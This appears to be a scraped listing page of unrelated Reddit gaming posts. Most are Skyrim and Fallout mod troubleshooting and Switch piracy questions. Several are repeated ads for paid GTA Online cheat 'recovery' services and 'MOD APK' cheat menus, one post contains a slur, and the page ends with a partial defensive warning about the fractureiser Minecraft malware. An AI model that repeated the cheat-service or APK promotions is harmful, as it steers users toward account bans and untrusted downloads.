Bo3 mxt mod menu
Ghost Recon - Official Subreddit
2010.12.31 08:03 scudd Ghost Recon - Official Subreddit
The official Subreddit for Ubisoft's Original Tom Clancy's Ghost Recon. Feel free to discuss and share content about any game in the series from the original Ghost Recon to Frontline.
2021.11.30 06:08 Dchemist909 Wonderlands/Borderlands3Mod
The place where you can get all of your Wonderlands/Borderlands 3 Modded Gear. When I see your message, I will get back to you as soon as possible. Also, I have a life outside of modding video games, so if you decide to spam me with "????" messages & notifications, I will probably block you. Just because you think you are special doesn't mean I'm going to answer you any quicker, sorry.
2015.12.01 01:53 DHSean Black Ops 3 Mods
This is a place to discuss mods for Black Ops 3! More notably regarding the mod tools for PC.
2023.06.07 21:35 YellowishEnvironment Hitwicket Superstars: Cricket MOD APK (Menu, Easy Win)
2023.06.07 21:28 LimmerAtReddit My character only is stuck on a perma-Tpose and I can't seem to find a way to fix it
To explain what happened: Some months ago I tried installing a Sekiro animations mod, trying to load it with FNIS, activating it in the Mod Menu, then trying again with Nemesis after it didn't work, I kept trying for a couple times and then my character just suddenly would be in T-pose, and it happened in all saves and new games. I tried fixing it by deleting the mod and reloading the animations, but it seems that the character animations are just gone, and can't fix it in any way possible. I didn't try changing the instance as I have lots of mods and really don't want to spend my time having to reinstall all of them in a different instance, but it seems there is no way to fix this.
Does anyone have any idea of how I can fix this? If so, all suggestions are of great help, thanks in advance.
My modlist is big and has NSFW mods in it, so if anyone knows if there's a way to copy the list as text or if I should just send screenshots of it just let me know
submitted by
LimmerAtReddit to
skyrimmods [link] [comments]
2023.06.07 21:06 No_Buffalo_2171 hekate & rcm not working for some reason
I successfully modded my switch last night, but the homebrew menu isn’t showing anything. I tried entering hekate through rcm to resolve the issue as per the instructions (switch.homebrew.guide), but it didn’t work. The first time I tried it yesterday was to backup my nand. Hekate was in fact working, but it said that nyx was missing and i was unable to backup my nand because of this. When i tried to inject the hekate payload again, it said that there was no rcm device detected when my switch was connected to my computer and was in rcm mode. i checked if the usb cable was the issue and it wasn’t, so i have no idea what i’m possibly doing wrong. my switch also won’t go into rcm mode anymore. (i already redownloaded DeepSea and even bridged the pins to go into rcm mode but still have the same issue)
submitted by
No_Buffalo_2171 to
SwitchPirates [link] [comments]
2023.06.07 21:03 AutoModerator [PC & CONSOLE] 🌐 CHEAPEST GTA ONLINE MODDING SERVICE [RECOVERY] 💲 [250+ VERIFIED CUSTOMERS] [EXCLUSIVE BONUSES FOR NEW CUSTOMERS][ LATEST PATCH 1.66 SECURITY UPDATE & LOS SANTOS DRUG WARS UPDATE] [MAY 2023][EXCLUSIVE DLC UNLOCKS INCLUDED][BAN WARRANTY][MODDED CONSOLE ACCOUNTS NOW FOR SALE]
FOR STEAM, ROCKSTAR, AND EPIC LAUNCHER VERSION OF GTA ONLINE PC
MODDED CONSOLE ACCOUNTS (OLD AND NEW GEN) ALSO FOR SALE
PACKAGES:
°$5 PACKAGE°
RP=ANY RANK (1-8000)
GTA $= 2 BILLION
ALL UNLOCKS (INCLUDING CRIMINAL ENTERPRISE UNLOCKS, LOS SANTOS DRUG WARS CONTENT, LS CAR MEET UNLOCKS, RESEARCH AND ETC.)
MAX STATS
CLEAR REPORTS AND BAD SPORTS
RESET MENTAL STATE
EDIT K/D STATS
°$10 PACKAGE°
RP=ANY RANK (1-8000)
GTA $= 5 BILLION
ALL UNLOCKS (INCLUDING CRIMINAL ENTERPRISE UNLOCKS, LOS SANTOS DRUG WARS CONTENT, LS CAR MEET UNLOCKS, RESEARCH AND ETC.)
MAX STATS
CLEAR REPORTS AND BAD SPORTS
RESET MENTAL STATE
EDIT K/D STATS
°$20 PACKAGE°
RP=ANY RANK (1-8000)
GTA $= UNLIMITED MONEY SUBSCRIPTION (FREE MONEY RE-MOD NO LIMITS,5 BILLION AS INITIAL MONEY)
ALL UNLOCKS (INCLUDING CRIMINAL ENTERPRISE UNLOCKS, LOS SANTOS DRUG WARS CONTENT, LS CAR MEET UNLOCKS, RESEARCH AND ETC.)
MAX STATS CLEAR REPORTS AND BAD SPORTS
RESET MENTAL STATE
EDIT K/D STATS
°$35 PRE-MODDED GTA ACCOUNT FOR PC° (INCLUDES BASE GAME + MOD)
RP=ANY RANK (1-8000)
GTA $= UNLIMITED MONEY SUBSCRIPTION (FREE MONEY RE-MOD NO LIMITS,5 BILLION AS INITIAL MONEY)
ALL UNLOCKS (INCLUDING CRIMINAL ENTERPRISE UNLOCKS, LOS SANTOS DRUG WARS CONTENT, LS CAR MEET UNLOCKS, RESEARCH AND ETC.)
MAX STATS CLEAR REPORTS AND BAD SPORTS
RESET MENTAL STATE
EDIT K/D STATS
°$80 PRE-MODDED GTA ACCOUNT FOR CONSOLE (OLD AND NEW GEN)°
RP=1000+
GTA $= 5 BILLION
MODDED UNLOCKS
MODDED STATS
°$100 PRE-MODDED GTA ACCOUNT FOR CONSOLE (OLD AND NEW GEN)°
RP=1000+
GTA $= 8 BILLION
MODDED UNLOCKS
MODDED STATS
MODDED OUTFITS
FAST RUN
NOTE:
*ALL UNLOCKS INCLUDE:
BUNKER RESEARCH, FIGURES AND CARDS, FAST RUN, OFFICE AND BIKER DECOR, ALL OUTFITS, VEHICLES, TATTOOS, LSC UPGRADES, LS CAR MEET UNLOCKS, ARENA WAR UNLOCKS, PARACHUTES, WEAPONS, HAIRSTYLES, NIGHTCLUB POPULARITY, CRIMINAL ENTERPRISE UNLOCKS, LOS SANTOS DRUG WARS CONTENT, AND ACHIEVEMENTS
*UNLIMITED MONEY SUBSCRIPTION = FREE MONEY RE-MOD WHENEVER WITHOUT LIMIT
*I USE A PAID MOD MENU, NO NEED TO WORRY ABOUT BAN WAVES
TO AVAIL, YOU CAN SEND ME A MESSAGE ON REDDIT (u/KageKyoshin), SEND ME A DM ON TIKTOK (GTAONLINEMODSERVICE), OR JOIN THE DISCORD SERVER LINK BELOW
CHECK BUY CHANNEL OF THE DISCORD SERVER
✓LINK TO MY OWN SUBREDDIT WHERE YOU CAN SEE REVIEWS/VOUCHES OF MY CUSTOMERS✓
GTAOnlineModService https://www.reddit.com/GTAOnlineModService/comments/ghne46/vouches/ https://discord.gg/4N2dqX8vYv <-- CHECK VOUCHES CHANNEL FOR LATEST REVIEWS
I USE DISCORD SCREEN SHARE SO CUSTOMERS CAN SEE ME MOD THEIR ACCOUNTS LIVE
ENABLE STEAM GUARD OR 2-FACTOR AUTHENTICATION FOR ACCOUNT SECURITY
HOW THE RECOVERY SERVICE IS DONE I USE A DIFFERENT MENU NOW, THE VIDEO IS OUTDATED https://www.youtube.com/watch?v=Xwy7cRV4Fqc submitted by
AutoModerator to
GTAOnlineModService [link] [comments]
2023.06.07 20:53 SmarmyCoverage Dead God Land MOD APK (Mega Menu, Money, Max Lv)
2023.06.07 20:37 mark54398 SKSE / SkyUI install question - missing DLL?
submitted by
mark54398 to
skyrimmods [link] [comments]
2023.06.07 20:33 Low_Wealth3584 Help navigating a mod please!! I saw someone else post this screenie of a mod that I have but I’m unsure how to access the menu pictured or get my pawns involved in it :( pls tell me how to get to this menu!! MOD IS VFE ANCIENTS (comments on post pictured were disabled so I couldn’t ask there)
submitted by Low_Wealth3584 to RimWorld [link] [comments]
2023.06.07 20:10 Wyvern94 Just hacked my switch. Got some simple questions
Hey guys. I just modded my switch by using a dead joycon and building my own jig with it.
Now from what I understand is: When i am on vacation and my battery is 0% and I want to use retroarch again, I have to have a PC with me and my jig to rcm again and start the "modding" menu from where I start the cfw to play retroarch?
Is there any way to have the cfw all the time even when i fully shutdown my switch? I mainly did this because I wanted to play ps1 and gba on a big screen on my flight.
Also a second question: Is there something like ciangel like on 3ds? I just downloaded super meat boy and tried to install the nsp file but I had an error and now i have a never finishing blank icon on my homepage of the switch.
Thanks in advance
submitted by
Wyvern94 to
SwitchPirates [link] [comments]
2023.06.07 20:06 F663 [FNV] CRASHING ISSUES
I am crashing when shooting enemies. I have veronica as a companion but it was working fine with EDE Load order;
FalloutNV.esm
DeadMoney.esm
HonestHearts.esm
OldWorldBlues.esm
LonesomeRoad.esm
GunRunnersArsenal.esm
Fallout3.esm
Anchorage.esm
ThePitt.esm
BrokenSteel.esm
PointLookout.esm
Zeta.esm
CaravanPack.esm
ClassicPack.esm
MercenaryPack.esm
TribalPack.esm
TaleOfTwoWastelands.esm
YUPTTW.esm
ArmedToTheTeethNV-Redux.esp
athornysituation.esp
avangraffscorned.esp
AwesomeCripplingEffects2.esp
awilderwasteland.esp
betsybrahminFSO.esp
brayduck_classic.esp
ClaimtheCapital.esm
ClaimtheMojave.esm
ClaimtheMojaveFPGE.esp
ClaimtheMojaveMojaveRaiders.esp
ClaimtheMojaveMoreMojave.esp
ClaimtheMojaveTLD.esp
ClaimtheMojaveUncutWasteland.esp
Cross Country Fast Travel.esp
FOVSlider.esp
FPGE Patch - Mojave Raiders.esp
Functional Post Game Ending - Uncut Extra Collection Patch.esp
FPGE Patch - MoreMojave.esp
FreesideOpen.esm
FreesideOpenPatch.esp
Functional Post Game Ending - Outside Bets Patch.esp
Functional Post Game Ending - YUP Patch.esm
Functional Post Game Ending.esm
JustAssortedMods.esp
kochandbohr.esp
Lucky38MarkerV3.esp
Lucky38RevolutionsTTW.esp
Mojave Raiders.esm
Mojave Raiders.esp
MoreMojave.esm
NukaCola-Ojo.esp
outsidebets.esp
Pacersgambit.esp
QS3rdPerCamOverhaul.esm
QwibNewBackpacks.esp
RagdollsTTW.esm
rotfacetoriches.esp
SSTRemasteredQuarries.esp
The Mod Configuration Menu.esp
Titans of The New West - Power Armor Sprint JAM.esp
Titans of The New West.esp
TLD_Travelers.esm
TTWTransportalponderEx.esp
Uncut Wasteland FSO OB.esp
Gold Bar Value Correction - TTW.esp
submitted by
F663 to
FalloutMods [link] [comments]
2023.06.07 20:02 Willpowertomax Game Crashes after playing for a few minutes
Its probably one of the mods screwing it up. I used the best of times to set everything up.
"0000","Tale of Two Wastelands"
"0001","TTW_3.3.2_Hotfix"
"0002","Essential Mods_separator"
"0003","ROOGNVSE Plugin"
"0004","JIP LN NVSE Plugin"
"0005","JohnnyGuitar NVSE"
"0006","Crash Logger"
"0007","NVTF - New Vegas Tick Fix"
"0008","NVTF - INI Presets"
"0009","lStewieAl's Tweaks and Engine Fixes"
"0010","Stewie Tweaks Essentials INI"
"0011","Combat Lag Fix (NVSE)"
"0012","FNV Mod Limit Fix"
"0013","kNVSE Animation Plugin"
"0014","Improved Console (NVSE)"
"0015","Console Paste Support"
"0016","UIO - User Interface Organizer"
"0017","ISControl Enabler and Ironsights adjuster (now ESPless)"
"0018","Fallout 3 Sound"
"0019","ShowOff xNVSE Plugin"
"0020","UI and HUD_separator"
"0021","The Mod Configuration Menu"
"0022","yUI - User Ynterface"
"0023","Clean Vanilla Hud"
"0024","Clean Vanilla Hud Cursor"
"0025","Unofficial_DarNified_UI_Update_"
"0026","UHD Fonts for Darnified UI"
"0027","One HUD - oHUD"
"0028","Cursor Unilaterally Matched (NVSE)"
"0029","ySI - Sorting Ycons"
"0030","Consistent Pip-Boy Icons"
"0031","Vault Door Loading Wheel - TTW"
"0032","HUD Caps for FNV"
"0033","B42 Notify - Corner Messages Overhaul - ESPless"
"0034","Gameplay_separator"
"0035","Faster Pip-Boy Animation"
"0036","Delay DLC Redux"
"0037","Root 'n Loot TTW"
"0038","JAM - Just Assorted Mods"
"0039","Clean Just Weapons Wheel"
"0040","TTW Reputations"
"0041","TTW New Vegas Speech Checks"
"0042","TTW New Vegas Speech Checks Rep Patch"
"0043","SawyerBatty TTW"
"0044","DC Arsenal - TTW Mojave Weapon Distribution - Lore Friendly"
"0045","DC Arsenal - TTW Mojave Weapon Distribution - INI"
"0046","TTW Merged Collectible Quests"
"0047","DYNAVISION 3 - Total Visual Enhancement"
"0048","B42 Quickthrow - an alternative grenade hotkey mod"
"0049","Bullet Time Improved - a JAM addon"
"0050","Easy Unlocking - Easy Hacking - Guaranteed Pick Pocket"
"0051","Fallout 3 Main Menu Music Replacer"
"0052","Enviroment_separator"
"0053","Climate Control NVSE"
"0054","Desert Natural Weathers - NV - TTW"
"0055","Desert Natural Realism - Redux"
"0056","Atmospheric Lighting Tweaks (Interior Lighting for FNV and TTW)"
"0057","MoonlightNVSE"
"0058","Improved Lighting Shaders"
"0059","Weapons_separator"
"0060","AWO - 10mm Pistol Replacer (Colt N99)"
"0061","AWO - 10mm Pistol Replacer (Colt N99) - A Better TTW Patch"
"0062","WAP Year One and Bonus"
"0063","WAP TTW Compatibility Patch"
"0064","AWO - Chinese Assault RIfle replacer REDUX (Norinco Type 93)"
"0065","R91 and Friends"
"0066","Animations_separator"
"0067","Blended Locomotion"
"0068","B42 Inspect - aka Animated Ammo and Weapon Condition Checking"
"0069","B42 Weapon Inertia"
"0070","B42 Dropmag and One in the chamber"
"0071","B42 Dropmag TTW Patches"
"0072","Animated Player Interactions"
"0073","FNV Clean Animations - Reborn - Part 1"
"0074","Frozen Chinese Assault Rifle kNVSE"
"0075","Viewmodel Recoil 0.308"
"0076","Frozen Assault Rifle REMAKE kNVSE"
"0077","FPS Weapon Lowering"
"0078","NV Compatibility Skeleton"
"0079","Textures_separator"
"0080","Legacy Reborn Texture Pack"
"0081","natural_landscapes_washington_edition_"
"0082","No PipBoy in Power Armor"
"0083","Power Armor Visual Enhancement (PAVE)"
"0084","Energy Visuals Plus 2.0 - NV and TTW"
"0085","Lumen - Ambient Lighting"
"0086","High Resolution Screens"
"0087","PipBoy 3000 Remastered"
"0088","Visible Bobblehead Perks - TTW"
submitted by
Willpowertomax to
Taleoftwowastelands [link] [comments]
2023.06.07 19:52 No_ligma_2469 T-pose fix?!
recently i booted up skyrim se after deleting some spicier mods and all my charaters started t posing and not moving all the animals animate fine its just the npc's i re downloaded the spicy mods and it still isnt working is there a fix to it? heres my modlist:
ZAZ XPMSSE - Nemesis - Papyrus Stack Fix XP32 Maximum Skeleton Special Extended Warming Hands Volumetric Mists VioLens - A Killmove Mod SE Use Or Take SKSE Unofficial Skyrim Special Edition Patch True Directional Movement - Modernized Third Person Gameplay Thicc and Strong - HIMBO Bodyslide Preset The Pure - CBBE The Eyes Of Beauty SSE SunHelm Survival Static Mesh Improvement Mod SSE Engine Fixes (skse64 plugin) SSE Display Tweaks SpousesEnhanced_SE_ Spell Perk Item Distributor Sounds of Skyrim Complete SE Sojourn Over Signposts - Witcher-Style Fast Travel Alternative Sleep Tight SE SLAL_SE SLAL NibblesAnims SL Defeat SSE SkyUI Skyrim Flora Overhaul SE SkyHUD Simple Dual Sheath Sexy Mannequins SSE SexLabSimpleDialog SexLabFrameworkGOG_v SexLabArousedSSELoose SexLab Sexlife SE v SexLab Extra Voices Expanded Schlongs of Skyrim AE Realistic Water Two SE Racial Skin Variance - Males and Females - Males Assets RaceMenu Schlong Slider RaceMenu Race-Based Textures (RBT) Quick inventory Public Executions Project New Reign - Nemesis Unlimited Behavior Engine powerofthree's Tweaks powerofthree's Papyrus Extender Populated Cities Towns Villages SE Edition Point The Way Payload Interpreter Particle Patch for ENB PapyrusUtil SE - Modders Scripting Utility Functions Overwrite Ordinator - Perks of Skyrim Open Cities Skyrim Obsidian Mountain Fogs Northborn Scars for High Poly Head Northborn Scars Niohoggr Warpaints nemesis output ndh's Animation Overhaul MYSLALPACK v12.0 Morning Fogs SSE Miscellaneous Embers XD Patches Mfg Fix MergeMapper MCM Helper Maximum Skeletons D-Won Edition Maximum Carnage Marry Anyone Lux Orbis Lux - Via Lux LIAT - Lively Inns And Taverns KS Hairdos SSE KS Hairdos - HDT SMP (Physics) Keyword Item Distributor JK's Skyrim JContainers AE Immersive Wenches patch Immersive Wenches Immersive Weapons Immersive Sounds - Compendium Immersive Laundry Immersive Horses Immersive Equipment Displays Immersive Citizens - AI Overhaul Immersive Armors Immersive Abduction v Hvergelmir's Aesthetics - Brows Hvergelmir's Aesthetics - Beards Hunterborn Highly Improved Male Body Overhaul High Poly Project High Poly Head SE Heart Breaker - A Killmove Mod SE HDT-SMP (Skinned Mesh Physics) Happy Little Trees Hanged Man's Tree in Skyrim Special Edition GORECAP Gallows of Skyrim SSE Fuz Ro D-oh - Silent Voice FunnyBizAnimationsV Follower Commentary Overhaul SE - FCO SE Flying Crows SSE Flower Girls Sperm Textures Flower Girls SE and VR Female Makeup Suite - Face - RaceMenu Overlays of Eyeliner EyeShadow Contours and Highlights - Special Edition Faster HDT-SMP Expressive Facial Animation -Male Edition- Expressive Facial Animation -Female Edition- Expressive Facegen Morphs SE Enhanced Volumetric Lighting and Shadows (EVLaS) Enhanced Blood Textures ENB Light Embers XD ElSopa - Campfire HD SE Elevated NPCs ECE Sliders Addon for Racemenu Eating Animations and Sounds SE Easy Marriable NPCs Dynamic Animation Replacer DootY DLC: HearthFires DLC: Dragonborn DLC: Dawnguard Dear Diary Creation Club: ccQDRSSE001-SurvivalMode Creation Club: ccBGSSSE037-Curios Creation Club: ccBGSSSE025-AdvDSGS Creation Club: ccBGSSSE001-Fish Conditional Expressions - Subtle Face Animations Citizens of Tamriel Visual Overhaul Citizens of Tamriel SE CBPC - Physics with Collisions CBP Physics CBBE 3BA Carry Your Carcasses Campfire - Complete Camping System (Supports Skyrim VR) Caliente's Beautiful Bodies Enhancer -CBBE- BodySlide and Outfit Studio Bits and pieces male skin RBT Billyy's SLAL Animations 2.9 Bijin NPCs SE Become High King of Skyrim - Immersive Edition Become A Highway Man Beards of Power Apothecary - An Alchemy Overhaul Animation Queue Fix Animation Limit Crash Fix SSE Amorous Adventures PLUS Alternate Start - Live Another Life - SSE All-in-One CBBE HDT Animated Pussy 4.0 Address Library for SKSE Plugins A Quality World Map paper 2k-4k Executioner's Block
submitted by
No_ligma_2469 to
skyrimmods [link] [comments]
2023.06.07 19:31 bobkat107 LOOT Reports Mods Not Loaded when they are - Using Vortex OR are Missing mods but They're there.
I primarily use LOOT with Vortex so I am unsure how this would apply to those using another mod manager. I'm also not sure if this is something new or I've only recently come to notice it.
Problem: I install mods in Vortex but LOOT reports mod not loaded. Or, I look in Vortex at a mod that doesn't seem to be working, like I recently found that my MCM menu was missing in Skyrim SE although it is marked as active in Vortex. Or I get errors when starting Skyrim SE because something like an INI file isn't present when I'm pretty sure it is. Or, any combination of the above.
Solution: In general reload the mod even if it says it's active.
Example 1: I recently did a lot of work cleaning up mods in Vortex using LOOT as my guide-tool - with many of the mods causing Skyrim SE to crash, not load, or otherwise causing misc other hair-pulling problems, esp. popup errors when launching - INI problems. My LOOT was finally indicating near perfection, no errors, dirty files or warnings.
I start Skyrim SE and the game is works again without crashing, problems saving, black screens, etc. My PC can move around, open doors, sleep whereas all that had been a problem. Next I was to access my MCM menu. I find it and when I select it my game saves. Something not right about that. I exit the game, and I'm back in Vortex.
MCM depends upon SKSE64 and Skyui. In Vortex both are listed as active mods. Knowing that the MCM uses SKYui I try reinstalling it to the left in the menu to the right (in Vortex/Mods). I immediately get a red boxed error indicting the download is invalid, corrupted, other. I re-download it and install it successfully. I run LOOT to sort plugins. But there are several mods listing the need for Skyui. BUT I just did that, I remind myself. Recall though that Skyui works off of SKSE64 and the Skyrim Script Extender (SKSE64).
I reinstall SKSE64 (it's active but I do). Then I reinstall the script extender. For good measure I install Skyui again. I run LOOT and that problem is solved.
Example 2: I ran into a problem with my Address Library. LOOT indicated my library was obsolete or out of date. Again I had already fixed that problem, I thought, by installing the updated "All in One - Address library" mod. I could see it there in Vortex set as active. I reinstalled the "All In One - Address Library and in LOOT I got the same demands for it to be present for some mods. I had to download the mod again, same one, and install it into Vortex, overwriting the existing one. I ran LOOT and those problems disappeared.
General advice: Carefully read popup errors when starting the game. They often contain the source of the problem. As with the problems about, often reinstalling what looks like a perfectly installed file need to be reinstalled.
Often there is an order as to how the mods or files have to be installed.
Often I've had to go back and reread the instructions on the mod page. I made assumptions that I thought I knew what to do and realized I was mistaken.
I find it useful for mods that need to be manually installed directly into the game folder to also install it into Vortex. Sometimes a problem can then simply be solved in Vortex.
Have an original virgin copy of the original un-modded game folder, and an original copy of the Data folder.
I may be imagining this but mods that are installed in Vortex seem to be missing but active. No they are not showing up in the lists for inactive or uninstalled. What if I wanted to disable it and couldn't find it. I download it again, replace the one Vortex says is there and do my thing. And again as in example two I may need to revisit it again and again.
Finally I am notorious at adding and removing mods to the extent I break the game. What's frustrating is I didn't take the time to record what I just did, to do it in small increments and to have Data backups. Granted a copy of Data can take hours. What I'm referring to is having working Data with many mods and then without a backup of that, I start modding again, taking haphazard notes all of which prove useless when I break the game and realize I have no idea what I did for new mods, can't make sense of my notes and don't have a copy of the working Data folder.
Let me know if something here is confusing. It was a lot to cover, I have just finished days of discovery and wanted to share before I forgot it all.
submitted by
bobkat107 to
skyrimmods [link] [comments]
2023.06.07 19:29 tahahamrouni please help me make elden rim work!
i have all the requirements and i did get my character to kick. but they do the kick with all the weapons
i cant open the skill tree. i only get the dragon image and the quote under it and nothing else. it has no starry background, just the game paused in the background. clicking on the dragon just quits the menu. i can't find the spell item ancient dragon secret mentioned on the mod page
submitted by
tahahamrouni to
skyrimmods [link] [comments]
2023.06.07 19:21 SmarmyCoverage Dragon Ball Legends MOD APK (Menu, One Hit/God Mode)
2023.06.07 19:17 SmarmyCoverage Blades of Brim APK (MOD, Mega Menu, Money, God Mode)
2023.06.07 18:15 sainstareprey Spellsword mod that's coming! (No pun intended)
Hey guys! My name's Andy, and I love Skyrim and I'm fascinated by modding as much as you guys are, and I have a sort of upcoming news for you.
I'm going for a Spellsword, sorta Battlemage playthrough now and I'm having lots of fun both playing and researching for mods that would enhance it, and upon finding out about The Wizard Warrior (
https://www.nexusmods.com/skyrimspecialedition/mods/14890), I thought "Ah well, another 'Weapon casts spells' mod, not really my cup of tea", but the enchantment module really caught my attention and gave me an idea, which I wish to expand upon and spread it around, maybe some gigachad modder likes it and makes it before I can save money to pay someone to do it!* (since after researching quite a while, I failed to find a similar mod, only encountering visual-related enchantments mods)
The idea is interesting, but as far as I'm concerned, the mod requires you to set a predefinided enchantment in the MCM to use it as a hotkey, that when pressed, will enchant the wielded weapon (unenchanted, of course) with it. So, if I, for example, using any mob trait and weaknesses mod like KYE (
https://www.nexusmods.com/skyrimspecialedition/mods/13807), everytime I would like to prepare for a known fight or react to a unexpected one, I would have to go the MCM and configure it. Kinda lame.
But the idea of enchanting unenchanted weapons on the go is simply amazing to me, for since my last playthrough with KYE, I took it to myself to have three enchanted weapons with fire, frost and lightning to be prepared and dual wielding purposes. So having one (or for dual wielding, two) that could be enchanted on the go temporarily is a fascinating idea.
Now, my perspective is: Using a hotkey and modifiers (Shift, Ctrl, Alt), would sum up a total of 4 predefined enchantments for each hotkey, and enchant your weapon with the duration of the enchantment based on your total magicka? Draining it per second or not could be a option, and the acquiring of enchantments would, in my preference, be based in finding a number (could be configurable too, I'd go with 3/5) similar enchanted weapons around the game, and use them in having the enchantment avaiable for use. Maybe if the hotkey/modifier thing is unefficient/not do-able in some way, a favorites-like/menu could pop up in the hotkey press to select between the avaiable enchantments, but then, that brings us back to the menu problem, something we can think about, cuz, like I said, this is 100% coming, as long as I have the money, technical help (read *), and idea solid enough to make it work!
But Andy, why the fUCK did you write a bible for a mod idea bro???? Well, I'm a really communicative guy (yea no shit faggot), and I like to articulate about something to explain it the better I can so people can understand what exactly I'm coming with! (again, no pun intended. c: )
Regardless, I'd love to hear your guy's ideas and thoughts on this, why it would work, why it wouldn't work, features it'd be cool to have and which features I mentioned that just wouldn't cut it, don't worry about it and feel free to speak your mind, just because people don't agree on something doesn't mean they can't be polite and nice to each other.
*: It's not my expectation and in no way this should be seen as a "Mod request" thing, this is more of a discussion of the possibilites of features and mechanics of a 100% upcoming mod, since as I don't have the modding skills/knowledge (which might be apparent if I articulated about something completely out of possibility for Skyrim modding for any reason, if the case, please let me know), I will be contacting someone that does and working with him to develop this idea further, paid, of course, which brings us to: I live in Brazil, Real (the coin), is kinda shit compared to dollaeuro, which means I'll have to save more money and time to make sure whatever project comes out of this is in no way underpaid.
submitted by
sainstareprey to
skyrimmods [link] [comments]
2023.06.07 18:14 cynbloxy1 [PC] "Server Disconnected - Not authorized 2"
2023.06.07 18:11 Willing_4345 Survivor.io Mod [Unlimited money][Mod Menu]
https://influence.co/survivorioapkmod Battle to be the Last One Standing with Survivor.io Mod Apk for Android. Step into the thrilling arena of Survivor.io and prove your survival skills against all odds.
With the modded version for Android, enjoy unlimited energy and exclusive features for an unparalleled gaming experience. This detailed review covers gameplay, mod features, an installation guide, and more.
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WHAT IS THE GAME STORYLINE?
In the world of Survivor.io, you’re dropped onto a shrinking battlefield with a singular mission – be the last person standing. Overcoming challenges, defeating adversaries, and seizing opportunities, you must utilize your combat skills and strategic abilities to emerge as the victorious survivor. GAMEPLAY
Survivor.io stands out for its intuitive controls and dynamic gameplay. The thrill begins from the moment you’re parachuted into the game world. As you navigate this perilous landscape, you must quickly scavenge for weapons, fortify your defenses, and eliminate opponents before they eliminate you. submitted by
Willing_4345 to
codefunstuff [link] [comments]
2023.06.07 18:10 RekNepZ Anyone else find the automatic baby naming system annoying?
So a new baby is born, but I don't want to bother coming up with a name on my own. The game just names it "baby" though and that won't age well so I guess I'll have to change it. I click randomize and it names it "Monkey Crocodile". The parents last names are "Lagua" though so I change that as well for consistency. I press ok and it gives it the nickname "Lagua". The next baby from the couple is also given the nickname "Lagua" and so are the three after that. I can't have five Laguas running around so I have to manually set each kid to be called by their first name unless they pick up a nickname on their own. Finally, the game not only calls the sixth kid by her first name, but it's a nice normal name, "Scarlet". Then at age three she suddenly starts going by "Poopy" instead.
This is a bit of an exaggeration, but is an amalgamation of all the things I find annoying that the game's automatic naming system brings. Can we get a few fixes to this? At least something in the options menu or Ideologies? Or are there at least any good mods that do it?
submitted by
RekNepZ to
RimWorld [link] [comments]
2023.06.07 18:03 AutoModerator [PC & CONSOLE] 🌐 CHEAPEST GTA ONLINE MODDING SERVICE [RECOVERY] 💲 [250+ VERIFIED CUSTOMERS] [EXCLUSIVE BONUSES FOR NEW CUSTOMERS][ LATEST PATCH 1.66 SECURITY UPDATE & LOS SANTOS DRUG WARS UPDATE] [MAY 2023][EXCLUSIVE DLC UNLOCKS INCLUDED][BAN WARRANTY][MODDED CONSOLE ACCOUNTS NOW FOR SALE]
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CLEAR REPORTS AND BAD SPORTS
RESET MENTAL STATE
EDIT K/D STATS
°$10 PACKAGE°
RP=ANY RANK (1-8000)
GTA $= 5 BILLION
ALL UNLOCKS (INCLUDING CRIMINAL ENTERPRISE UNLOCKS, LOS SANTOS DRUG WARS CONTENT, LS CAR MEET UNLOCKS, RESEARCH AND ETC.)
MAX STATS
CLEAR REPORTS AND BAD SPORTS
RESET MENTAL STATE
EDIT K/D STATS
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RP=ANY RANK (1-8000)
GTA $= UNLIMITED MONEY SUBSCRIPTION (FREE MONEY RE-MOD NO LIMITS,5 BILLION AS INITIAL MONEY)
ALL UNLOCKS (INCLUDING CRIMINAL ENTERPRISE UNLOCKS, LOS SANTOS DRUG WARS CONTENT, LS CAR MEET UNLOCKS, RESEARCH AND ETC.)
MAX STATS CLEAR REPORTS AND BAD SPORTS
RESET MENTAL STATE
EDIT K/D STATS
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RP=ANY RANK (1-8000)
GTA $= UNLIMITED MONEY SUBSCRIPTION (FREE MONEY RE-MOD NO LIMITS,5 BILLION AS INITIAL MONEY)
ALL UNLOCKS (INCLUDING CRIMINAL ENTERPRISE UNLOCKS, LOS SANTOS DRUG WARS CONTENT, LS CAR MEET UNLOCKS, RESEARCH AND ETC.)
MAX STATS CLEAR REPORTS AND BAD SPORTS
RESET MENTAL STATE
EDIT K/D STATS
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I USE DISCORD SCREEN SHARE SO CUSTOMERS CAN SEE ME MOD THEIR ACCOUNTS LIVE
ENABLE STEAM GUARD OR 2-FACTOR AUTHENTICATION FOR ACCOUNT SECURITY
HOW THE RECOVERY SERVICE IS DONE I USE A DIFFERENT MENU NOW, THE VIDEO IS OUTDATED https://www.youtube.com/watch?v=Xwy7cRV4Fqc submitted by
AutoModerator to
GTAOnlineModService [link] [comments]
2023.06.07 18:00 Noonlineidrip [MALWARE WARNING] "fractureiser" malware in many popular Minecraft mods and modpacks
Current status
We have a good idea how fractureiser works, from stages 0 to 3. There are certain unknowns, but stage 0 bootstrapping was quickly nipped and tomorrow we’ll be moving our focus to mitigation. As a plan, we’ve contacted Mojang and will likely be working with teams to get detection software distributed and integrated into CurseForge and Modrinth, as well as considering integration in launchers like Prism, and mod loaders like Fabric and Forge. It is also worthwhile to run this detection software on mod distribution mavens, as it’s possible some have become infected.
Most of the current team responsible for updating this doc is tired and going to bed (as of 02:46a Pacific time). Others are continuing to reverse engineer stage 3.
Work has begun on a detector for infected stage0 mods:
https://github.com/MCRcortex/nekodetector If you have files relevant to this malware, please upload them to
https://wormhole.app and email the URL to [
[email protected]](mailto:
[email protected]) — this inbox is controlled by xylemlandmark, and anything sent to it will be shared with the rest of the team.
Please also let us know if you have the ability to download files from VirusTotal, as that would let us get ahold of many of the files we’re missing. We are looking especially for one lib.dll .
If you need to get in touch more generally, please send mail to [
[email protected]](mailto:
[email protected]).
If you copy portions of this document elsewhere,
please put a prominent link back to this HackMD page (
https://hackmd.io/@jaskarth4/B1gaTOaU2) somewhere near the top so that people can read the latest updates and get in contact.
Non-technical overview [READ ME!]
A number of Curseforge and
dev.bukkit.org (not the Bukkit software itself) accounts were compromised, and malicious software was injected into copies of many popular plugins and mods. Some of these malicious copies have been injected into popular modpacks including Better Minecraft.
There are reports of malicious plugin/mod JARs as early as mid-April. This malware is composed of multiple “stages”, each stage is responsible for downloading and running the next one. In total, there are three known stages (Stages 1, 2, and 3), with infected mod files serving as a “Stage 0” to kick the whole process off.
Stage 3 is the “mastermind” of the malware, and we have evidence that it attempts to do all of the following:
